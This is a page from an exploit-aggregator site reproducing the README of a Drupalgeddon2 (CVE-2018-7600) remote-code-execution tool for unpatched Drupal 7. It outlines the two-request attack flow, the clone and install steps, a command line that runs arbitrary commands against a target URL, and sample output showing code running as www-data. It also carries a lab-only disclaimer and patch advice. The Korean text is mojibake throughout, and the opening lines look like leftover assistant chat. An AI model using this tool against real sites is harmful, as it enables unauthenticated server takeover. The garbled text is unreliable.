## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-XXXTECTATIONXXX-CVE-2018-7600
μ, μ¬μ©λ² λΆλΆλ μΆκ°νμ΅λλ€. `git clone`λΆν° μμν΄μ READMEκ° μμ±λμ΅λλ€. μ΄κ² μ΅μ’
λ²μ μ΄λ GitHub μ μ₯μμ `README.md`μ κ·Έλλ‘ λ³΅μ¬ν΄μ λΆμ¬λ£μΌμΈμ.
# CVE-2018-7600 - Drupalgeddon2 RCE μ΅μ€νλ‘μ
μ΄ μ΅μ€νλ‘μμ **Drupalgeddon2** λ‘ μλ €μ§ **Drupal 7.56** (λ° μΌλΆ μ΄μ λ²μ )μ μ·¨μ½μ μ μ΄μ©ν©λλ€.
μ΄ μ·¨μ½μ μ μ·¨μ½ν νΌμ κ²°ν¨μ μ
μ©νμ¬ μΈμ¦ μμ΄ **μ격 μ½λ μ€ν(RCE)**μ κ°λ₯νκ² ν©λλ€.
π **μ μ₯μ:** https://github.com/xxxTectationxxx/CVE-2018-7600
* * *
## β οΈ κ²½κ³
μ΄ μ€ν¬λ¦½νΈλ **νμ΅ λͺ©μ ** λ° **λ© νκ²½ ν
μ€νΈ** λ₯Ό μν΄μλ§ μ μλμμ΅λλ€.
ν
μ€νΈν 곡μ νκ°κ° μλ μμ€ν
μμ μ¬μ©νλ κ²μ κΈμ§λ©λλ€.
* * *
## π― λμ λ²μ
* ν¨μΉλμ§ μμ Drupal 7.x (7.56 ν¬ν¨)
* μΌλΆ μ΄κΈ° Drupal 8 λ²μ μμλ μλν μ μμ΅λλ€.
* * *
## π κ°λ¨ν μλ λ°©μ
1. `user/password` μλν¬μΈνΈμ PHPμ `passthru()` ν¨μλ₯Ό νΈλ¦¬κ±°νλ λ§€κ°λ³μκ° ν¬ν¨λ νμ΄λ‘λλ₯Ό μ μ‘ν©λλ€.
2. μλ² μλ΅μμ `form_build_id`λ₯Ό μΆμΆν©λλ€.
3. λ λ²μ§Έ μμ²μ λ³΄λ΄ μνλ λͺ
λ Ήμ μ€νν©λλ€.
* * *
## π¦ μ€μΉ λ° μ¬μ©λ²
μ μ₯μ ν΄λ‘ :
root@kitploit:~
git clone https://github.com/xxxTectationxxx/CVE-2018-7600.git
cd CVE-2018-7600
μμ‘΄μ± μ€μΉ:
root@kitploit:~
pip install requests
μ΅μ€νλ‘μ μ€ν:
root@kitploit:~
python3 drupalgeddon2.py --URL <target_url> --COMMAND "<command>"
μμ:
root@kitploit:~
python3 drupalgeddon2.py --URL http://192.168.60.129 --COMMAND "whoami"
## π» μΆλ ₯ μμ
root@kitploit:~
[*] λμμ μ΄κΈ° νμ΄λ‘λ μ μ‘ μ€...
[+] form_build_id λ°κ²¬: form-ABC123XYZ
[+] λͺ
λ Ή μΆλ ₯:
www-data
* * *
## π‘οΈ μν μ‘°μΉ
* Drupalμ μ΅μ λ²μ μΌλ‘ μ
λ°μ΄νΈνμΈμ.
* Drupalμ 곡μ 보μ ν¨μΉλ₯Ό μ μ©νμΈμ.
* μμ κ³Όμ μ€ μλ²μ λν μ κ·Όμ μ ννμΈμ.
* * *
## π μ°Έκ³ μλ£
* Drupal 보μ κΆκ³ SA-CORE-2018-002
* Exploit-DB νλͺ© #44449
* * *
**λ©΄μ±
μ‘°ν:** μμ±μλ μ΄ μ€ν¬λ¦½νΈμ μ€μ©μ λν΄ μ±
μμ μ§μ§ μμ΅λλ€. νλͺ
νκ² μ¬μ©νκ³ , ν
μ€νΈκ° νκ°λ μμ€ν
μμλ§ μ¬μ©νμΈμ.